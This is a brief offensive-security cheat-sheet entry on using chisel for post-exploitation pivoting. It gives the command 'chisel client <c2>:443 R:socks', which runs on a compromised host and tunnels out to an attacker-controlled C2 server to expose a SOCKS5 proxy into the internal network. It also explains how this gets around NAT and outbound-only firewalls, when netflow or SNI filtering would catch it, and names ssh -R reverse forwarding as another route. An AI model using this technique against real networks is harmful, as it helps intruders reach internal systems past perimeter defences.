Chisel SOCKS

chisel client <c2>:443 R:socks

Opens an outbound TCP tunnel from the compromised host to your C2 and exposes a SOCKS5 proxy for pivoting into the internal network.

Run it when the compromised host can reach the internet but you cannot connect directly (NAT, firewall only allows outbound 443). The chisel client opens HTTPS to your server and you get a SOCKS5 on the other side to attack the internal network with proxychains.

If egress filters by SNI or the SOC monitors long connections to hosting IPs, the tunnel will stand out in netflow. For moving large volumes, SOCKS over chisel is slow; for a single port (like RDP), a reverse port forward with chisel or ssh -R is simpler.